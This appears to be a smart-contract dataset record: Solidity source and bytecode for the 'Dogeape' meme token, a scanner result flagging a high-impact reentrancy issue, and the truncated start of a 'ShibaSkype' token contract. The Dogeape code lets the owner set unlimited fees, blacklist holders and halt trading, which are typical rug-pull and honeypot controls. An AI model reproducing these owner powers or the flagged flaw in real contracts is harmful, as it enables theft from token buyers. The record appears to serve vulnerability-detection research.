// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Dogeape is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Dogeape"; string private constant _symbol = "Dogeape"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 30; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x62C6d2B0599ef204af36EaddE896161FCE21a61E); address payable private _marketingAddress = payable(0x62C6d2B0599ef204af36EaddE896161FCE21a61E); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000000000 * 10**9; uint256 public _maxWalletSize = 20000000000000000 * 10**9; uint256 public _swapTokensAtAmount = 100000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610526578063dd62ed3e14610546578063ea1644d51461058c578063f2fde38b146105ac57600080fd5b8063a2a957bb146104a1578063a9059cbb146104c1578063bfd79284146104e1578063c3c8cd801461051157600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b41146101fe57806398a5c3151461048157600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611938565b6105cc565b005b34801561020a57600080fd5b506040805180820182526007815266446f676561706560c81b6020820152905161023491906119fd565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a52565b61066b565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610234565b3480156102da57600080fd5b5061025d6102e9366004611a7e565b610682565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610234565b34801561032c57600080fd5b5060155461028d906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611abf565b6106eb565b34801561036c57600080fd5b506101fc61037b366004611aec565b610736565b34801561038c57600080fd5b506101fc61077e565b3480156103a157600080fd5b506102c06103b0366004611abf565b6107c9565b3480156103c157600080fd5b506101fc6107eb565b3480156103d657600080fd5b506101fc6103e5366004611b07565b61085f565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611abf565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b031661028d565b34801561045757600080fd5b506101fc610466366004611aec565b61088e565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b506101fc61049c366004611b07565b6108d6565b3480156104ad57600080fd5b506101fc6104bc366004611b20565b610905565b3480156104cd57600080fd5b5061025d6104dc366004611a52565b610943565b3480156104ed57600080fd5b5061025d6104fc366004611abf565b60106020526000908152604090205460ff1681565b34801561051d57600080fd5b506101fc610950565b34801561053257600080fd5b506101fc610541366004611b52565b6109a4565b34801561055257600080fd5b506102c0610561366004611bd6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059857600080fd5b506101fc6105a7366004611b07565b610a45565b3480156105b857600080fd5b506101fc6105c7366004611abf565b610a74565b6000546001600160a01b031633146105ff5760405162461bcd60e51b81526004016105f690611c0f565b60405180910390fd5b60005b81518110156106675760016010600084848151811061062357610623611c44565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065f81611c70565b915050610602565b5050565b6000610678338484610b5e565b5060015b92915050565b600061068f848484610c82565b6106e184336106dc85604051806060016040528060288152602001611d8a602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111be565b610b5e565b5060019392505050565b6000546001600160a01b031633146107155760405162461bcd60e51b81526004016105f690611c0f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107605760405162461bcd60e51b81526004016105f690611c0f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b357506013546001600160a01b0316336001600160a01b0316145b6107bc57600080fd5b476107c6816111f8565b50565b6001600160a01b03811660009081526002602052604081205461067c90611232565b6000546001600160a01b031633146108155760405162461bcd60e51b81526004016105f690611c0f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108895760405162461bcd60e51b81526004016105f690611c0f565b601655565b6000546001600160a01b031633146108b85760405162461bcd60e51b81526004016105f690611c0f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109005760405162461bcd60e51b81526004016105f690611c0f565b601855565b6000546001600160a01b0316331461092f5760405162461bcd60e51b81526004016105f690611c0f565b600893909355600a91909155600955600b55565b6000610678338484610c82565b6012546001600160a01b0316336001600160a01b0316148061098557506013546001600160a01b0316336001600160a01b0316145b61098e57600080fd5b6000610999306107c9565b90506107c6816112b6565b6000546001600160a01b031633146109ce5760405162461bcd60e51b81526004016105f690611c0f565b60005b82811015610a3f5781600560008686858181106109f0576109f0611c44565b9050602002016020810190610a059190611abf565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3781611c70565b9150506109d1565b50505050565b6000546001600160a01b03163314610a6f5760405162461bcd60e51b81526004016105f690611c0f565b601755565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b81526004016105f690611c0f565b6001600160a01b038116610b035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f6565b6001600160a01b038216610c215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f6565b6001600160a01b038216610d485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f6565b60008111610daa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f6565b6000546001600160a01b03848116911614801590610dd657506000546001600160a01b03838116911614155b156110b757601554600160a01b900460ff16610e6f576000546001600160a01b03848116911614610e6f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f6565b601654811115610ec15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f6565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0357506001600160a01b03821660009081526010602052604090205460ff16155b610f5b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f6565b6015546001600160a01b03838116911614610fe05760175481610f7d846107c9565b610f879190611c8b565b10610fe05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f6565b6000610feb306107c9565b6018546016549192508210159082106110045760165491505b80801561101b5750601554600160a81b900460ff16155b801561103557506015546001600160a01b03868116911614155b801561104a5750601554600160b01b900460ff165b801561106f57506001600160a01b03851660009081526005602052604090205460ff16155b801561109457506001600160a01b03841660009081526005602052604090205460ff16155b156110b4576110a2826112b6565b4780156110b2576110b2476111f8565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f957506001600160a01b03831660009081526005602052604090205460ff165b8061112b57506015546001600160a01b0385811691161480159061112b57506015546001600160a01b03848116911614155b15611138575060006111b2565b6015546001600160a01b03858116911614801561116357506014546001600160a01b03848116911614155b1561117557600854600c55600954600d555b6015546001600160a01b0384811691161480156111a057506014546001600160a01b03858116911614155b156111b257600a54600c55600b54600d555b610a3f8484848461143f565b600081848411156111e25760405162461bcd60e51b81526004016105f691906119fd565b5060006111ef8486611ca3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610667573d6000803e3d6000fd5b60006006548211156112995760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f6565b60006112a361146d565b90506112af8382611490565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fe576112fe611c44565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135257600080fd5b505afa158015611366573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138a9190611cba565b8160018151811061139d5761139d611c44565b6001600160a01b0392831660209182029290920101526014546113c39130911684610b5e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fc908590600090869030904290600401611cd7565b600060405180830381600087803b15801561141657600080fd5b505af115801561142a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144c5761144c6114d2565b611457848484611500565b80610a3f57610a3f600e54600c55600f54600d55565b600080600061147a6115f7565b90925090506114898282611490565b9250505090565b60006112af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163f565b600c541580156114e25750600d54155b156114e957565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115128761166d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154490876116ca565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611573908661170c565b6001600160a01b0389166000908152600260205260409020556115958161176b565b61159f84836117b5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e491815260200190565b60405180910390a3505050505050505050565b60065460009081906b033b2e3c9fd0803ce80000006116168282611490565b821015611636575050600654926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600081836116605760405162461bcd60e51b81526004016105f691906119fd565b5060006111ef8486611d48565b600080600080600080600080600061168a8a600c54600d546117d9565b925092509250600061169a61146d565b905060008060006116ad8e87878761182e565b919e509c509a509598509396509194505050505091939550919395565b60006112af83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111be565b6000806117198385611c8b565b9050838110156112af5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f6565b600061177561146d565b90506000611783838361187e565b306000908152600260205260409020549091506117a0908261170c565b30600090815260026020526040902055505050565b6006546117c290836116ca565b6006556007546117d2908261170c565b6007555050565b60008080806117f360646117ed898961187e565b90611490565b9050600061180660646117ed8a8961187e565b9050600061181e826118188b866116ca565b906116ca565b9992985090965090945050505050565b600080808061183d888661187e565b9050600061184b888761187e565b90506000611859888861187e565b9050600061186b8261181886866116ca565b939b939a50919850919650505050505050565b60008261188d5750600061067c565b60006118998385611d6a565b9050826118a68583611d48565b146112af5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f6565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c657600080fd5b803561193381611913565b919050565b6000602080838503121561194b57600080fd5b823567ffffffffffffffff8082111561196357600080fd5b818501915085601f83011261197757600080fd5b813581811115611989576119896118fd565b8060051b604051601f19603f830116810181811085821117156119ae576119ae6118fd565b6040529182528482019250838101850191888311156119cc57600080fd5b938501935b828510156119f1576119e285611928565b845293850193928501926119d1565b98975050505050505050565b600060208083528351808285015260005b81811015611a2a57858101830151858201604001528201611a0e565b81811115611a3c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a6557600080fd5b8235611a7081611913565b946020939093013593505050565b600080600060608486031215611a9357600080fd5b8335611a9e81611913565b92506020840135611aae81611913565b929592945050506040919091013590565b600060208284031215611ad157600080fd5b81356112af81611913565b8035801515811461193357600080fd5b600060208284031215611afe57600080fd5b6112af82611adc565b600060208284031215611b1957600080fd5b5035919050565b60008060008060808587031215611b3657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b6757600080fd5b833567ffffffffffffffff80821115611b7f57600080fd5b818601915086601f830112611b9357600080fd5b813581811115611ba257600080fd5b8760208260051b8501011115611bb757600080fd5b602092830195509350611bcd9186019050611adc565b90509250925092565b60008060408385031215611be957600080fd5b8235611bf481611913565b91506020830135611c0481611913565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c8457611c84611c5a565b5060010190565b60008219821115611c9e57611c9e611c5a565b500190565b600082821015611cb557611cb5611c5a565b500390565b600060208284031215611ccc57600080fd5b81516112af81611913565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d275784516001600160a01b031683529383019391830191600101611d02565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d6557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d8457611d84611c5a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079ffa166af5e177919d32572908b246f97ae726c550af03604272f9546b0ead664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,869
0x0b416cc7007d8d2cb097a6ddeb969787cf8f01cc
/** *Submitted for verification at Etherscan.io on 2021-07-03 */ /* ShibaSkype is going to launch in the Uniswap at July 3. This is fair launch and going to launch without any presale. tg: https://t.me/Shiba_skype twitter: https://twitter.com/ShibaSkype All crypto babies will become a ShibaSkype in here. Let's enjoy our launch! */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibaSkype is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shiba Skype"; string private constant _symbol = " ShibaS "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) 